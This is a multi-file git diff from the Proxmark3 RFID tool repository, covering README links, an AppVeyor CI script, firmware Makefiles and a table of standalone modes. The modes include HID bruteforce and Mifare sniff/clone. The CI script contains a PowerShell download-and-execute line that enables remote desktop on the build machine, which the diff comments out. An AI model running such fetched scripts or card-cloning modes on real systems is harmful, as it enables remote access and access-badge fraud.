|[PM3 GUI](#pm3-gui)|[Setup and build for Windows](/doc/md/Installation_Instructions/Windows-Installation-Instructions.md)|[Commands & Features](/doc/md/Use_of_Proxmark/3_Commands-and-Features.md)|
|[Issues](#issues)|[Blue shark manual](/doc/bt_manual_v10.md) ||
|[Notes on UART](/doc/uart_notes.md)|||
|[Notes on Frame format](/doc/new_frame_format.md)|||
|[What has changed?](#what-has-changed) | **[Setup and build for Linux](/doc/md/Installation_Instructions/Linux-Installation-Instructions.md)** | [Compilation Instructions](/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md)|
|[Development](#development) | **[Important notes on ModemManager for Linux users](/doc/md/Installation_Instructions/ModemManager-Must-Be-Discarded.md)** | [Validating proxmark client functionality](/doc/md/Use_of_Proxmark/1_Validation.md) |
|[Why didn't you base it on official Proxmark3 Master?](#why-didnt-you-base-it-on-official-proxmark3-master)| **[Homebrew (Mac OS X) & Upgrading HomeBrew Tap Formula](/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md)** | [First Use and Verification](/doc/md/Use_of_Proxmark/2_Configuration-and-Verification.md)|
|[Proxmark3 GUI](#proxmark3-gui)|**[Setup and build for Windows](/doc/md/Installation_Instructions/Windows-Installation-Instructions.md)**|[Commands & Features](/doc/md/Use_of_Proxmark/3_Commands-and-Features.md)|
|[Issues](#issues)|[Blue shark manual](/doc/bt_manual_v10.md) |[Advanced compilation parameters](/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md)|
|[Notes on UART](/doc/uart_notes.md)|[Maintainers](/doc/md/Development/Maintainers.md)|[Command Cheat sheet](/doc/cheatsheet.md)|
|[Notes on frame format](/doc/new_frame_format.md)||[More cheat sheets](https://github.com/RfidResearchGroup/proxmark3/wiki/More-cheat-sheets)|
|[Notes on external flash](/doc/ext_flash_notes.md)||[EMV](/doc/emv_notes.md)|
|[Notes on Termux / Android](/doc/termux_notes.md)||[Troubleshooting](/doc/md/Installation_Instructions/Troubleshooting.md)|
|[Notes on tracedata / wireshark](/doc/trace_notes.md)||[JTAG](/doc/jtag_notes.md)|
|[Notes on loclass](/doc/loclass_notes.md)||[Complete client command set](/doc/commands.md)|
|[Notes on paths](/doc/path_notes.md)|||
|[Developing standalone mode](/armsrc/Standalone/readme.md)|[Wiki about standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) ||
|[Donations](#Donations)|||
## Build for non-RDV4 Proxmark3 platforms
In order to build this repo for other Proxmark3 platforms we urge you to read [Advanced compilation parameters](/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md)
## What has changed?
On the hardware side:
@ -32,28 +43,50 @@ On the hardware side:
On the software side: quite a lot, see the [Changelog file](CHANGELOG.md).
## Development
This fork now compiles just fine on
> ⚠ **Note**: This is a bleeding edge repository. The maintainers actively is working out of this repository and will be periodically re-structuring the code to make it easier to comprehend, navigate, build, test, and contribute to, so **DO expect significant changes to code layout on a regular basis**.
This repo compiles nicely on
- Proxspace v3.x
- Windows/mingw environment with Qt5.6.1 & GCC 4.8
- Ubuntu 1404, 1510, 1604, 1804, 1904
- Ubuntu 1604, 1804, 1904
- Mac OS X / Homebrew
- ParrotOS
- WSL (Windows subsystem linux) on Windows 10
- ParrotOS, Gentoo, Pentoo, Kali, Nethunter, Archlinux, Fedora
- WSL, WSL2 (Windows subsystem linux) on Windows 10
- Docker container
If you intend to contribute to the code, please read the [coding style notes](HACKING.md) first.
The [public roadmap](https://github.com/RfidResearchGroup/proxmark3/wiki/Public-Roadmap) is an excellent start to read if you are interesting in contributing.
- Internal notes on [Coverity Scan Config & Run](/doc/md/Development/Coverity-Scan-Config-%26-Run.md).
- Internal notes on UART
- Internal notes on Frame format
- Internal notes on standalone mode
> 👉 **Remember!** If you intend to contribute to the code, please read the [coding style notes](HACKING.md) first.
We usually merge your contributions fast since we do like the idea of getting a functionality in the Proxmark3 and weed out the bugs afterwards.
## Notes / helpful documents
- notes on [Coverity Scan Config & Run](/doc/md/Development/Coverity-Scan-Config-%26-Run.md).
- notes on [UART](/doc/uart_notes.md)
- notes on [Frame format](/doc/new_frame_format.md)
- notes on [external flash](/doc/ext_flash_notes.md)
- notes on [standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode)
- notes on [Termux / Android](/doc/termux_notes.md)
- notes on [tracedata / Wireshark](/doc/trace_notes.md)
- notes on [loclass](/doc/loclass_notes.md)
- notes on [EMV](/doc/emv_notes.md)
- notes on [Paths](/doc/path_notes.md)
- notes on [file formats used with Proxmark3](/doc/extensions_notes.md)
## Cheat sheet
Thanks to Alex Dibs, you can enjoy a [command cheat sheet](/doc/cheatsheet.md)
## Maintainers ( package, distro )
To all distro, package maintainers, we tried to make your life easier. `make install` is now available and if you want to know more.
- [Maintainers](/doc/md/Development/Maintainers.md)
## Why didn't you base it on official Proxmark3 Master?
The separation from official Proxmark3 repo gives us a lot of freedom to create a firmware/client that suits the RDV40 features. We don't want to mess up the official Proxmark3 repo with RDV40 specific code.
## Proxmark3 GUI
The official PM3-GUI from Gaucho will not work.
The new universal GUI will work. [Proxmark3 Universal GUI](https://github.com/burma69/PM3UniversalGUI) Almost, change needed in order to show helptext when client isn't connected to a device.
@ -61,16 +94,18 @@ The new universal GUI will work. [Proxmark3 Universal GUI](https://github.com/bu
Please see the [Proxmark Forum](http://www.proxmark.org/forum/index.php) and see if your issue is listed in the first instance Google is your friend :) Questions will be answered via the forum by Iceman and the team.
It's needed to have a good USB cable to connect Proxmark3 to USB. If you have stability problems (Proxmark3 resets, firmware hangs, especially firmware hangs just after start, etc.) - check your cable with a USB tester (or try to change it). It needs to have a resistance smaller or equal to 0.3 Ohm.
Read the [Troubleshooting](/doc/md/Installation_Instructions/Troubleshooting.md) guide to weed out most known problems.
## The end
- [@herrmann1001](https://mobile.twitter.com/herrmann1001) July 2018
- July 2018 [@herrmann1001](https://mobile.twitter.com/herrmann1001)
- updated Feb 2019 [@5w0rdfish](https://mobile.twitter.com/5w0rdFish)
- updated 2019 [@doegox](https://mobile.twitter.com/doegox)
# Donations
Nothing says thank you as much as a donation. So if you feel the love, do feel free to become a iceman patron. For some tiers it comes with rewards.
https://www.patreon.com/iceman1001
All support is welcome!

View file

@ -24,7 +24,7 @@ init:
Add-AppveyorMessage -Message "[$env:APPVEYOR_REPO_COMMIT_SHORT]$env:appveyor_repo_name($env:APPVEYOR_REPO_BRANCH)" -Category Information -Details "repository: $env:appveyor_repo_name branch: $env:APPVEYOR_REPO_BRANCH release: $releasename"
iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1'))
# iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1'))
clone_script:
- ps: >-
Write-Host "Removing ProxSpace..." -NoNewLine
@ -43,6 +43,12 @@ clone_script:
Write-Host "[ OK ]" -ForegroundColor Green
if(!(Test-Path -Path C:\ProxSpace\pm3)){
New-Item -ItemType Directory -Force -Path C:\ProxSpace\pm3
}
Write-Host "Removing pm3 dir..." -NoNewLine
Remove-Item -Recurse -Force -Path c:\ProxSpace\pm3\*
@ -73,13 +79,80 @@ clone_script:
Write-Host "[ OK ]" -ForegroundColor Green
Write-Host "Update msys2 packages..." -NoNewLine
Write-Host "Update msys2 packages..."
$env:Path = "C:\ProxSpace\msys2\usr\bin;C:\ProxSpace\msys2\mingw32\bin;C:\ProxSpace\gcc-arm-none-eabi\bin;$env:Path"
C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null 1> msys1.txt 2>&1
Function ExecUpdate($Name, $Cmd, $ErrorLine) {
C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null 1> msys1.txt 2>&1
Write-Host "Exec [$Name]... " -NoNewLine
#--- begin Job
$Job = Start-Job -Name "$Name" -ScriptBlock {
$env:Path = "C:\ProxSpace\msys\bin;$env:Path"
Set-Location $using:PWD
$sb=[scriptblock]::Create("$using:Cmd")
#execute scriptblock
$Cond=&$sb
return $Cond
}
#--- end Job
$JobTime=[System.Environment]::TickCount
while($true) {
Try {
$Res = Receive-Job -Job $Job -Keep 2>&1 6>&1
}
Catch {
$Res = ""
Write-host "error in Receive-Job"
}
if ($Res -is "String" -and $Res -like "*$ErrorLine*"){
Write-host "Exit by stop phrase" -ForegroundColor Green
break
}
if ($Res -is [Object]){
[bool]$needexit = $false
ForEach($line in $Res){
if ($line -like "*$ErrorLine*"){
Write-host "Exit by stop phrase [obj]" -ForegroundColor Green
$needexit = $true
break
}
}
if ($needexit) {
break
}
}
if(Wait-Job $Job -Timeout 5){
Write-host "Exit by end job" -ForegroundColor Green
break
}
if ([System.Environment]::TickCount-$JobTime -gt 1000000) {
Write-host "Exit by timeout" -ForegroundColor Yellow
break
}
}
Remove-Job -Force $Job
}
cd C:\ProxSpace\
C:\ProxSpace\msys2\ps\setup.cmd
ExecUpdate "update1" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2"
ExecUpdate "update2" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2"
Write-Host "Update " -NoNewLine
Write-Host "[ OK ]" -ForegroundColor Green
install:
@ -110,6 +183,7 @@ build_script:
$env:MSYSTEM_CHOST="i686-w64-mingw32"
cd C:\ProxSpace\pm3
#make
@ -130,54 +204,38 @@ build_script:
}
if(!(Test-Path C:\ProxSpace\pm3\client\hardnested\tables\*.bin.z)){
if(!(Test-Path C:\ProxSpace\pm3\client\resources\hardnested_tables\*.bin.z)){
throw "Files in hardnested\tables not exists."
throw "Files in client\resources\hardnested_tables is not exists."
}
#copy
#install
Write-Host "Copy release files..." -NoNewLine -ForegroundColor Yellow
Write-Host "Installing..." -NoNewLine -ForegroundColor Yellow
New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release
New-Item -ItemType Directory -Force -Path C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\pm3\client\*.exe C:\ProxSpace\Release
New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\arm
Copy-Item C:\ProxSpace\pm3\armsrc\obj\*.elf C:\ProxSpace\Release\arm
Copy-Item C:\ProxSpace\pm3\bootrom\obj\*.elf C:\ProxSpace\Release\arm
New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\scripts
Copy-Item C:\ProxSpace\pm3\client\scripts\*.lua C:\ProxSpace\Release\scripts
New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\hardnested\tables
Copy-Item C:\ProxSpace\pm3\client\hardnested\*.bin C:\ProxSpace\Release\hardnested
Copy-Item C:\ProxSpace\pm3\client\hardnested\tables\*.bin.z C:\ProxSpace\Release\hardnested\tables
bash -c -i 'make install DESTDIR=Release PREFIX='
# dll files
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libgcc_s_dw2-1.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libgcc_s_dw2-1.dll C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libstdc++-6.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libstdc++-6.dll C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libwinpthread-1.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libwinpthread-1.dll C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Core.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Core.dll C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Gui.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Gui.dll C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Widgets.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Widgets.dll C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libreadline*.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libreadline*.dll C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libtermcap-0.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libtermcap-0.dll C:\ProxSpace\pm3\Release\bin
Write-Host "[ OK ]" -ForegroundColor Green
@ -199,7 +257,7 @@ build_script:
cd C:\ProxSpace
7z a release.zip C:\ProxSpace\Release
7z a release.zip C:\ProxSpace\pm3\Release
Push-AppveyorArtifact release.zip -DeploymentName "$releasename"
@ -256,6 +314,13 @@ test_script:
if ($Cond -is "String" -and $Cond -like "*true*"){
$res= $true
}
ForEach($line in $Cond){
if ($line -like "*passed*"){
$res = $true
$Cond = $line
break
}
}
} Else {
$res=$Cond
}
@ -287,6 +352,7 @@ test_script:
Remove-Job -Force $Job
if(!$res){
Write-host "--------------------- tests fail" -ForegroundColor Red
$global:TestsPassed=$false
}
}
@ -297,34 +363,39 @@ test_script:
#file test
ExecTest "proxmark3 exists" "proxmark3.exe" {Test-Path C:\ProxSpace\Release\proxmark3.exe}
ExecTest "proxmark3 exists" "proxmark3.exe" {Test-Path C:\ProxSpace\pm3\Release\bin\proxmark3.exe}
ExecTest "arm image exists" "\arm\fullimage1.elf" {Test-Path C:\ProxSpace\Release\arm\fullimage.elf}
ExecTest "arm bootrom exists" "bootrom.elf" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\firmware\bootrom.elf}
ExecTest "bootrom exists" "bootrom.elf" {Test-Path C:\ProxSpace\Release\arm\bootrom.elf}
ExecTest "arm image exists" "fullimage.elf" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\firmware\fullimage.elf}
ExecTest "hardnested tables exists" "hardnested" {Test-Path C:\ProxSpace\Release\hardnested\tables\*.z}
ExecTest "arm recovery image exists" "proxmark3_recovery.bin" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\firmware\proxmark3_recovery.bin}
ExecTest "hardnested tables exists" "hardnested" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\resources\hardnested_tables\*.z}
ExecTest "release exists" "release.zip" {Test-Path C:\ProxSpace\release.zip}
#proxmark logic tests
ExecTest "proxmark help" "proxmark3 -h" {bash -lc 'cd ~/client;./proxmark3 -h | grep -q wait && echo Passed || echo Failed'}
ExecTest "proxmark help" "proxmark3 -h" {bash -lc 'cd ~/client;./proxmark3 -h 2>&1 | grep -q wait && echo passed || echo failed'}
ExecTest "proxmark help text ISO7816" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q ISO7816 && echo Passed || echo Failed'}
ExecTest "proxmark help text ISO7816" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q ISO7816 && echo passed || echo failed'}
ExecTest "proxmark help text hardnested" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q hardnested && echo Passed || echo Failed'}
ExecTest "proxmark help text hardnested" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q hardnested && echo passed || echo failed'}
ExecTest "hf mf offline text" "hf mf" {bash -lc "cd ~/client;./proxmark3 -c 'hf mf'"} "at_enc"
ExecTest "hf mf hardnested" "hf mf hardnested" {bash -lc "cd ~/client;./proxmark3 -c 'hf mf hardnested t 1 000000000000'"} "found:"
#proxmark crypto tests
ExecTest "emv test" "emv test" {bash -lc "cd ~/client;./proxmark3 -c 'emv test'"} "Test?s? ? OK"
# Long tests:
# ExecTest "hf mf hardnested" "hf mf hardnested" {bash -lc "cd ~/client;./proxmark3 -c 'hf mf hardnested t 1 000000000000'"} "found:"
# ExecTest "hf mf iclass" "hf mf iclass" {bash -lc "cd ~/client;./proxmark3 -c 'hf iclass loclass t l'"} "verified ok"
# ExecTest "emv test" "emv test" {bash -lc "cd ~/client;./proxmark3 -c 'emv test -i -l'"} "Test?s? ? OK"
# Short tests:
ExecTest "hf mf iclass" "hf mf iclass" {bash -lc "cd ~/client;./proxmark3 -c 'hf iclass loclass t'"} "OK!"
ExecTest "emv test" "emv test" {bash -lc "cd ~/client;./proxmark3 -c 'emv test -i'"} "Test?s? ? OK"
if ($global:TestsPassed) {
@ -338,4 +409,4 @@ on_success:
on_failure:
- ps: Write-Host "Build error." -ForegroundColor Red
on_finish:
- ps: $blockRdp = $false; iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1'))
- ps: # $blockRdp = $false; iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1'))

View file

@ -10,6 +10,9 @@
//-----------------------------------------------------------------------------
#include "BigBuf.h"
#include "string.h"
#include "dbprint.h"
// BigBuf is the large multi-purpose buffer, typically used to hold A/D samples or traces.
// Also used to hold various smaller buffers and the Mifare Emulator Memory.
// declare it as uint32_t to achieve alignment to 4 Byte boundary
@ -112,9 +115,11 @@ uint16_t BigBuf_max_traceLen(void) {
void clear_trace(void) {
traceLen = 0;
}
void set_tracelen(uint32_t value) {
traceLen = value;
}
void set_tracing(bool enable) {
tracing = enable;
}

View file

@ -12,10 +12,7 @@
#ifndef __BIGBUF_H
#define __BIGBUF_H
#include <stdbool.h> // for bool
#include "proxmark3.h"
#include "string.h"
#include "ticks.h"
#include "common.h"
#define BIGBUF_SIZE 40000
#define MAX_FRAME_SIZE 256 // maximum allowed ISO14443 frame
@ -43,4 +40,5 @@ void set_tracelen(uint32_t value);
bool get_tracing(void);
bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t iLen, uint32_t timestamp_start, uint32_t timestamp_end, uint8_t *parity, bool readerToTag);
uint8_t emlSet(uint8_t *data, uint32_t offset, uint32_t length);
#endif /* __BIGBUF_H */

View file

@ -5,7 +5,7 @@
//-----------------------------------------------------------------------------
// LCD code
//-----------------------------------------------------------------------------
#include "LCD.h"
#include "LCD_disabled.h"
void LCDSend(unsigned int data) {
// 9th bit set for data, clear for command

View file

@ -9,10 +9,6 @@
#ifndef __LCD_H
#define __LCD_H
#include "proxmark3.h"
#include "apps.h"
#include "fonts.h"
// The resolution of the LCD
#define LCD_XRES 132
#define LCD_YRES 132

View file

@ -2,16 +2,14 @@
# at your option, any later version. See the LICENSE.txt file for the text of
# the license.
#-----------------------------------------------------------------------------
# Makefile for armsrc, see ../common/Makefile.common for common settings
# Makefile for armsrc, see ../common_arm/Makefile.common for common settings
#-----------------------------------------------------------------------------
APP_INCLUDES = apps.h
# This Makefile might have been called directly, not via the root Makefile, so:
ifeq ($(PLTNAME),)
-include ../Makefile.platform
-include ../.Makefile.options.cache
include ../common/Makefile.hal
include ../common_arm/Makefile.hal
# detect if there were changes in the platform definitions, requiring a clean
ifeq ($(PLATFORM_CHANGED), true)
$(error platform definitions have been changed, please "make clean" at the root of the project)
@ -25,22 +23,27 @@ APP_CFLAGS = $(PLATFORM_DEFS) \
-DON_DEVICE \
-fno-strict-aliasing -ffunction-sections -fdata-sections
SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c
SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c lfadc.c
SRC_ISO15693 = iso15693.c iso15693tools.c
SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c
#UNUSED: mifaresniff.c desfire_crypto.c
SRC_ISO14443b = iso14443b.c
SRC_FELICA = felica.c
SRC_CRAPTO1 = crypto1.c des.c aes.c desfire_key.c desfire_crypto.c mifaredesfire.c
SRC_CRAPTO1 = crypto1.c des.c desfire_key.c mifaredesfire.c aes.c platform_util.c
SRC_CRC = crc.c crc16.c crc32.c
SRC_ICLASS = iclass.c optimized_cipher.c
SRC_LEGIC = legicrf.c legicrfsim.c legic_prng.c
SRC_NFCBARCODE = thinfilm.c
# SRC_BEE = bee.c
# RDV40 related hardware support
ifneq (,$(findstring WITH_FLASH,$(APP_CFLAGS)))
SRC_FLASH = flashmem.c
SRC_SPIFFS = spiffs.c spiffs_cache.c spiffs_check.c spiffs_gc.c spiffs_nucleus.c spiffs_hydrogen.c
else
SRC_FLASH =
SRC_SPIFFS =
endif
ifneq (,$(findstring WITH_SMARTCARD,$(APP_CFLAGS)))
@ -68,41 +71,7 @@ else
endif
# Generic standalone Mode injection of source code
SRC_STANDALONE = placeholder.c
# WITH_STANDALONE_LF_ICERUN
ifneq (,$(findstring WITH_STANDALONE_LF_ICERUN,$(APP_CFLAGS)))
SRC_STANDALONE = lf_icerun.c
endif
# WITH_STANDALONE_LF_SAMYRUN
ifneq (,$(findstring WITH_STANDALONE_LF_SAMYRUN,$(APP_CFLAGS)))
SRC_STANDALONE = lf_samyrun.c
endif
# WITH_STANDALONE_LF_PROXBRUTE
ifneq (,$(findstring WITH_STANDALONE_LF_PROXBRUTE,$(APP_CFLAGS)))
SRC_STANDALONE = lf_proxbrute.c
endif
# WITH_STANDALONE_LF_HIDBRUTE
ifneq (,$(findstring WITH_STANDALONE_LF_HIDBRUTE,$(APP_CFLAGS)))
SRC_STANDALONE = lf_hidbrute.c
endif
# WITH_STANDALONE_HF_YOUNG
ifneq (,$(findstring WITH_STANDALONE_HF_YOUNG,$(APP_CFLAGS)))
SRC_STANDALONE = hf_young.c
endif
# WITH_STANDALONE_HF_MATTYRUN
ifneq (,$(findstring WITH_STANDALONE_HF_MATTYRUN,$(APP_CFLAGS)))
SRC_STANDALONE = hf_mattyrun.c
endif
# WITH_STANDALONE_HF_COLIN
ifneq (,$(findstring WITH_STANDALONE_HF_COLIN,$(APP_CFLAGS)))
SRC_STANDALONE = vtsend.c hf_colin.c
endif
# WITH_STANDALONE_HF_BOG
ifneq (,$(findstring WITH_STANDALONE_HF_BOG,$(APP_CFLAGS)))
SRC_STANDALONE = hf_bog.c
endif
include Standalone/Makefile.inc
#the FPGA bitstream files. Note: order matters!
FPGA_BITSTREAMS = fpga_lf.bit fpga_hf.bit
@ -113,7 +82,7 @@ SRC_ZLIB = inflate.c inffast.c inftrees.c adler32.c zutil.c
ZLIB_CFLAGS = -DZ_SOLO -DZ_PREFIX -DNO_GZIP -DZLIB_PM3_TUNED
APP_CFLAGS += $(ZLIB_CFLAGS)
# zlib includes:
APP_CFLAGS += -I../zlib
APP_CFLAGS += -I../common/zlib
# stdint.h provided locally until GCC 4.5 becomes C99 compliant,
# stack-protect , no-pie reduces size on Gentoo Hardened 8.2 gcc
@ -121,9 +90,9 @@ APP_CFLAGS += -I. -fno-stack-protector -fno-pie
# Compile these in thumb mode (small size)
THUMBSRC = start.c \
protocols.c \
$(SRC_LCD) \
$(SRC_ISO15693) \
$(SRC_NFCBARCODE) \
$(SRC_LF) \
$(SRC_ZLIB) \
$(SRC_LEGIC) \
@ -131,13 +100,16 @@ THUMBSRC = start.c \
$(SRC_SMARTCARD) \
$(SRC_FPC) \
$(SRC_HITAG) \
$(SRC_SPIFFS) \
appmain.c \
printf.c \
dbprint.c \
commonutil.c \
util.c \
string.c \
BigBuf.c \
ticks.c \
clocks.c \
hfsnoop.c
@ -159,12 +131,19 @@ VERSIONSRC = version.c \
fpga_version_info.c
# Do not move this inclusion before the definition of {THUMB,ASM,ARM}SRC
include ../common/Makefile.common
include ../common_arm/Makefile.common
COMMON_FLAGS = -Os
INSTALLFW = $(OBJDIR)/fullimage.elf
ifneq (,$(FWTAG))
INSTALLFWTAG = $(notdir $(INSTALLFW:%.elf=%-$(FWTAG).elf))
else
INSTALLFWTAG = $(notdir $(INSTALLFW))
endif
OBJS = $(OBJDIR)/fullimage.s19
FPGA_COMPRESSOR = ../client/fpga_compress
FPGA_COMPRESSOR = ../tools/fpga_compress/fpga_compress
all: $(OBJS)
@ -173,9 +152,9 @@ all: $(OBJS)
# version.c should be remade on every time fullimage.stage1.elf should be remade
version.c: default_version.c $(OBJDIR)/fpga_version_info.o $(OBJDIR)/fpga_all.o $(THUMBOBJ) $(ARMOBJ)
$(info [-] GEN $@)
$(Q)perl ../tools/mkversion.pl .. > $@ || $(COPY) $^ $@
$(Q)sh ../tools/mkversion.sh > $@ || perl ../tools/mkversion.pl > $@ || $(CP) $^ $@
fpga_version_info.c: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR)
fpga_version_info.c: $(FPGA_BITSTREAMS) | $(FPGA_COMPRESSOR)
$(info [-] GEN $@)
$(Q)$(FPGA_COMPRESSOR) -v $(filter %.bit,$^) $@
@ -183,7 +162,7 @@ $(OBJDIR)/fpga_all.o: $(OBJDIR)/fpga_all.bit.z
$(info [-] GEN $@)
$(Q)$(OBJCOPY) -O elf32-littlearm -I binary -B arm --prefix-sections=fpga_all_bit $^ $@
$(OBJDIR)/fpga_all.bit.z: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR)
$(OBJDIR)/fpga_all.bit.z: $(FPGA_BITSTREAMS) | $(FPGA_COMPRESSOR)
$(info [-] GEN $@)
ifeq ($(Q),@)
@$(FPGA_COMPRESSOR) $(filter %.bit,$^) $@ >/dev/null
@ -192,8 +171,8 @@ else
endif
$(FPGA_COMPRESSOR):
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C ../client $(notdir $(FPGA_COMPRESSOR))
$(error [!] MISSING $@ => To build it, go the root of the repo and do "make $(notdir $@)")
$(error [!] MISSING $@)
$(OBJDIR)/fullimage.stage1.elf: $(VERSIONOBJ) $(OBJDIR)/fpga_all.o $(THUMBOBJ) $(ARMOBJ)
$(info [=] LD $@)
@ -211,7 +190,7 @@ $(OBJDIR)/fullimage.data.bin: $(OBJDIR)/fullimage.stage1.elf
$(info [-] GEN $@)
$(Q)$(OBJCOPY) -O binary -I elf32-littlearm --only-section .data $^ $@
$(OBJDIR)/fullimage.data.bin.z: $(OBJDIR)/fullimage.data.bin $(FPGA_COMPRESSOR)
$(OBJDIR)/fullimage.data.bin.z: $(OBJDIR)/fullimage.data.bin | $(FPGA_COMPRESSOR)
$(info [-] GEN $@)
ifeq ($(Q),@)
@$(FPGA_COMPRESSOR) $(filter %.bin,$^) $@ >/dev/null
@ -232,18 +211,29 @@ tarbin: $(OBJS)
$(Q)$(TAR) $(TARFLAGS) ../proxmark3-$(platform)-bin.tar $(OBJS:%=armsrc/%) $(OBJS:%.s19=armsrc/%.elf)
clean:
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.o
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.elf
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.s19
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.map
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.d
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.z
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.bin
$(Q)$(DELETE) version.c
$(Q)$(RM) $(DEPENDENCY_FILES)
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.o
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.elf
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.s19
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.map
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.d
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.z
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.bin
$(Q)$(RM) version.c
.PHONY: all clean help
install: all
$(info [@] Installing fullimage to $(DESTDIR)$(PREFIX)...)
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)
$(Q)$(CP) $(INSTALLFW) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)$(PATHSEP)$(INSTALLFWTAG)
uninstall:
$(info [@] Uninstalling fullimage from $(DESTDIR)$(PREFIX)...)
$(Q)$(RM) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)$(PATHSEP)$(INSTALLFWTAG)
.PHONY: all clean help install uninstall
help:
@echo Multi-OS Makefile, you are running on $(DETECTED_OS)
@echo Possible targets:
@echo + all - Build the full image $(OBJDIR)/fullimage.s19
@echo + clean - Clean $(OBJDIR)

View file

@ -0,0 +1,69 @@
# Default standalone if no standalone specified
DEFAULT_STANDALONE=LF_SAMYRUN
HELP_EXAMPLE_STANDALONE=HF_YOUNG
# (you can set explicitly STANDALONE= to disable standalone modes)
STANDALONE?=$(DEFAULT_STANDALONE)
STANDALONE_REQ_DEFS=
define KNOWN_STANDALONE_DEFINITIONS
+==========================================================+
| STANDALONE | DESCRIPTION |
+==========================================================+
| (empty) | No standalone mode |
+----------------------------------------------------------+
| LF_SAMYRUN | HID26 read/clone/sim |
| (default) | - Samy Kamkar |
+----------------------------------------------------------+
| LF_ICERUN | standalone mode skeleton |
| | - iceman |
+----------------------------------------------------------+
| LF_PROXBRUTE | HID ProxII bruteforce |
| | - Brad Antoniewicz |
+----------------------------------------------------------+
| LF_HIDBRUTE | HID corporate 1000 bruteforce |
| | - Federico dotta & Maurizio Agazzini |
+----------------------------------------------------------+
| HF_YOUNG | Mifare sniff/simulation |
| | - Craig Young |
+----------------------------------------------------------+
| HF_MATTYRUN | Mifare sniff/clone |
| | - Matías A. Ré Medina |
+----------------------------------------------------------+
| HF_COLIN | Mifare ultra fast sniff/sim/clone |
| (RDV4 only) | - Colin Brigato |
+----------------------------------------------------------+
| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth |
